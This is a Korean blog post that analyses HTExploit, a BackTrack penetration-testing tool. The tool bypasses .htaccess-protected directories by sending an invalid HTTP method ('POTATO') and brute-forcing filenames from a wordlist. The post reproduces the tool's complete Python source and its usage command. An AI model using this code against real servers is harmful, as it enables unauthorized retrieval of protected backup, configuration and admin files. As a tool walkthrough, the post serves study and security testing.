1. 개요
HTExploit 는 HiperText access Exploit의 약자로, 웹 디렉토리 및 파일을 보호하기 위해 사용하는 .htaccess 파일을 이용한 인증 프로세스를 우회하여 디렉토리 및 파일을 찾는 파이썬으로 작성된 오픈 소스 도구이다. HTExploit을 이용하면, htaccess 파일로 보호되고 있는 디렉토리 및 파일은 백업 파일, 관리자 로그인파일, 설정 파일 등을 찾을 수 있다.
2. 테스트 환경
3. 상세 분석
HTExploit 를 실행 하면 아래와 같은 화면을 확인 할 수 있다.
옵 션 |
설 명 |
-h, --help |
Help |
-m MODULE, --module=MODULE |
모듈 설정 (기본값 : Detect) |
-u URL, --url=URL |
대상 URL 입력 |
-o OUTPUT, --output=OUTPUT |
결과를 파일로 저장 |
-w WORDLIST, --wordlist=WORDLIST |
htexploit에 사용될 사전 목록 파일 지정 (기본값 : htexploit와 같이 존재하는 /res/FullList ) |
-v, --verbose |
자세히 |
HTExploit 사용방법 및 결과는 매우 간단하다.
root@bt:/pentest/web/htexploit#./htexploit -u 대상 URL -w FullList -m 모듈 -o 저장될 이름 |
HTExploit 이 실행되는 동안 와이어샤크를 이용하여, 해당 패킷을 살펴보면 아래와 같이 FullList에 존재하는 파일명(페이지명)을 보내 응답을 확인 한다.
해당 결과는 아래와 같이 /pentest/web/htexploit/에 존재한다.
위에 존재하는 결과들을 이용하여, HTExploit 은 아래와 같이 보고서를 작성해 준다.
작성된 보고서를 잠시 살펴보자. Scanned URL을 클릭하면, 대상 웹 서버로 연결을 한다. 또한 아래 발견된 파일을 클릭하면 해당 파일의 내용을 확인 할 수 있다.
위 그림을 보면 한가지 특이한 점을 확인할 수 있다. HTExploit 를 이용하여, 찾은 파일 다운로드 받는다. 그 후 원본 파일 명 뒤에 .html을 붙여 보고서로 손 쉽게 확인 할 수 있도록 자동으로 생성한다는 점이다.
지금까지 사용방법과 결과를 확인하였다. 매우 간단하게 사용할 수 있는 HTExploit이 어떻게 이루어져 있는지 소스코드를 살펴보자.
가장 먼저 살펴볼 소스코드는 htexploit 파일이다. htexploit파일은 아래와 같이 이루져 있다.
#!/usr/bin/python import ConfigParser, optparse, os, signal, sys from lib import Ascii from lib import Conn from lib import Detect from lib import FullList def signal_handler(signal, frame): print "\n[-] Program Aborted by user.\n" sys.exit(0) signal.signal(signal.SIGINT, signal_handler) version = "0.7b" title = Ascii.Title(version) print title usage = "Usage: %prog -u [URL] [options]" parser = optparse.OptionParser(usage=usage) parser.add_option("-m", "--module", action="store", type="string", dest="module", help="Select the module to run (Default: detect)") parser.add_option("-u", "--url", action="store", type="string", dest="url", help="**REQUIRED** - Specify the URL to scan") parser.add_option("-o", "--output", action="store", type="string", dest="output", help="Specify the output directory") parser.add_option("-w", "--wordlist", action="store", dest="wordlist", help="Specify the wordlist to use") parser.add_option("-v", "--verbose", action="store_true", dest="verbose", default="False", help="Be verbose") parser.set_defaults(module="detect") (options, args) = parser.parse_args() # Set variables according to parameters if options.url == None: parser.print_help() sys.exit() if not options.url.startswith("http://") or options.url.startswith("https://"): options.url = "http://" + options.url if options.output == None: outdir = options.output else: outdir = os.path.abspath(options.output) if options.module == "detect": Detect.Scan(options.url,options.verbose,outdir) elif options.module == "full": FullList.Scan(options.url,options.verbose,outdir) else: help = "Module '" + options.module + "' not recognized.\n\n" help = help + "Available Modules:\n" help = help + " detect - Detects if the directory is vulnerable\n" help = help + " full - Runs a dictionary attack on the URL, to find protected PHP files\n" print help |
htexploit 파일은 사용자가 입력하는 대상 URL 및 옵션을 받아 들이는 역할만 수행하며, 받아들인 값들은 /lib/ 에 존재하는 각각의 함수(?)로 전달된다. /lib/ 폴더 안에는 Ascii.py, Conn.py, Detect.py, FullList.py 가 존재한다. 이제 각각 어떤 역할을 수행하는지 소스코드를 살펴 보자.
Ascii.py은 단순히 htexploit 이 실행될 때 나타나는 타이틀을 정의해 두었다.
Conn.py는 사용자가 입력한 대상 URL에 연결을 할 때 사용된다. 소스코드는 아래와 같이 이루어져 있다.
#!/usr/bin/python import os, sys, httplib, urlparse, socket, urllib2 from urllib2 import Request, urlopen, URLError, HTTPError dst_method = "POTATO" def Connect(method,url): try: opener = urllib2.build_opener(urllib2.HTTPHandler) request = urllib2.Request(url) request.get_method = lambda: 'POTATO' resp = opener.open(request) except HTTPError, e: return e.code except URLError, e: return 1 if method == 1: #If being called from the "Detect" module return resp.code elif method == 2: #If being called from the "FullList" module return resp.read() |
(메소드를 POTATO를 이용하였는데, POTATO 메소드에 대해서 모르기에~~~ㅠ)
Conn.py가 대상 URL에 연결을 하면, Detect.py는 대상 URL의 index.php 파일을 찾으며, 웹 서버의 응답이 200 OK 이면 FullScan 모듈로 다시 진행 할것인지 묻게 된다. 사용자가 [yes,y,ye] 또는 아무 입력 없이 엔터를 클릭한 경우 FullScan 모듈이 진행되며, [no,n]를 입력할 경우 더이상 진행하지 않는다.
import Conn import FullList dst_file = "/index.php" def Scan(url,verbose,outdir): res = Conn.Connect(1,url + dst_file) if verbose == True: print "[+] Testing '" + url + dst_file + "' ..." if res == 1: #If there's an error in the connection print "[-] Connection error.\nCheck if URL is valid and target is up and listening on the specified port.\n" else: if res == 200: #If the retrieval was OK print "[+] " + url + " seems exploitable. Enjoy :)\n" else: #If the retrieval failed print "[-] " + url + " is probably NOT exploitable :(\nYou should run the 'full' module anyway, just in case.\n" print "Would you like to run the 'full' scan module? [Y/n]", yes = set(['yes','y', 'ye', '']) no = set(['no','n']) r = None while (r == None): choice = raw_input().lower() if choice in yes: FullList.Scan(url,verbose,outdir) r = 1 elif choice in no: return False r = 1 else: print "Please respond with 'yes' or 'no'", |
마지막으로 htexploit 이 구성하고 있는 파일 중에서 가장 바쁘게 동작하는 FullList.py 의 소스코드를 살펴 보자. FullList.py 의 소스코드는 아래와 같이 이루어져 있다.
#!/usr/bin/python import os, random, datetime import Conn files = "" i = 0 j = 0 now = datetime.datetime.now() def Scan(url,verbose,outdir): global files, i, j, options if outdir == None: rnd = str(random.randint(1, 99999)) outdir = os.path.abspath("htexploit-" + rnd.zfill(5)) # Create a variable including a 5-digit random number if verbose == True: print "[+] Output not specified, setting '" + outdir + "'" else: outdir = os.path.abspath(outdir) if os.path.exists(outdir + "/data"): if verbose == True: print "[+] Output Dir Already Exists\n" else: if verbose == True: print "[+] Creating Output Dir\n" try: os.makedirs(outdir + "/data") os.makedirs(outdir + "/res") except: print "[-] Error creating output directory, do you have permissions?" sys.exit("[-] Exiting.\n") try: # Copy logo PNG file origfile = file(os.getcwd() + "/res/reporting/logo.png","r") destfile = file(outdir + "/res/logo.png","w") destfile.writelines(origfile) # Copy CSS file origfile = file(os.getcwd() + "/res/reporting/style.css","r") destfile = file(outdir + "/res/style.css","w") destfile.writelines(origfile) repfile = file(outdir + "/HTExploit-report.html","w") origfile = file(os.getcwd() + "/res/reporting/header.html","r") repfile.writelines(origfile) # Insert scan information repfile.writelines("<h4>Scan date: " + now.strftime("%Y-%m-%d %H:%M") + "</h4>") repfile.writelines("<h4>Scanned URL: <a href='" + url + "' target='_blank'>" + url + "</a></h4>") repfile.writelines("<table class='bordered'><thead>") repfile.writelines("<tr><th>ID</th><th>Name</th></tr></thead>") except: print "[-] Error creating report files, do you have permissions?" try: files = open(os.getcwd()+"/res/FullList","r") except: print " **ERROR** Unable to open './res/FullList' file. Exiting\n" for line in files: conn_res = Conn.Connect(2,url + "/" + line) if conn_res == 1: #If there's an error in the connection print "[-] Connection error.\nCheck if URL is valid and target is up and listening on the specified port.\n" break elif (conn_res == 404 or conn_res == 501): #If file was not found (exploit didn't work) if verbose == True: print "[-] File '" + line.strip() + "' couldn't be retrieved" else: i = i + 1 if verbose == True: print "[+] File '" + line.strip() + "' was downloaded" try: outfile = file(outdir + "/data/" + line.strip() + ".html","w") #Save the files as HTML files, for easy reading outfile.writelines(conn_res) repfile.writelines("<TR><TD>") repfile.writelines(str(i)) repfile.writelines("</TD><TD>") repfile.writelines("<a href='data/" + line.strip() + ".html' target='_blank'>" + url + "/" + line.strip() + "</a><br />") repfile.writelines("</TD></TR>") except: pass print "I/O error on writing output file, do you have permissions?" j = j + 1 origfile = file(os.getcwd() + "/res/reporting/footer.html","r") repfile.writelines("\n") repfile.writelines(origfile) print "[+] Full Scan Completed." print "[+] " + str(i) + " files were downloaded, out of " + str(j) + " (" + str(i * 100 / j) + "% success rate). Report was saved in '" + outdir + "'\n" |
FullList.py은 사용자가 지정한 사전 파일을 이용하여, 대상 URL의 파일들을 찾는다. 사전 파일에 존재하는 파일으로 대상 웹서버에 요청을 보내 대상 웹서버의 응답코드가 404나 501 인경우 해당 파일이 존재하지 않는다고 판단하며 응답 코드가 200이면 해당 파일이 존재하는것으로 판단하여, 해당 파일을 /data/ 폴더에 다운로드 받으면서 원본 파일뒤에 .html을 붙여 저장한다.
사전 파일의 내용을 모두 대입 시켜면, 다운로드 받은 파일들을 이용하여 보고서를 작성하여, 사용자가 한눈에 볼 수 있도록 한다.
'Open Source > BackTrack' 카테고리의 다른 글
[BackTrack5 R3] Rainbowcrack (0) | 2013.02.21 |
---|---|
[BackTrack5 R3] Wifi-Honey (0) | 2013.02.19 |
[BackTrack5 R3] Uberharvest (0) | 2013.02.12 |
[BackTrack5 R3] Ophcrack-GUI (0) | 2013.02.12 |
[BackTrack5 R3] Ophcrack (0) | 2013.02.12 |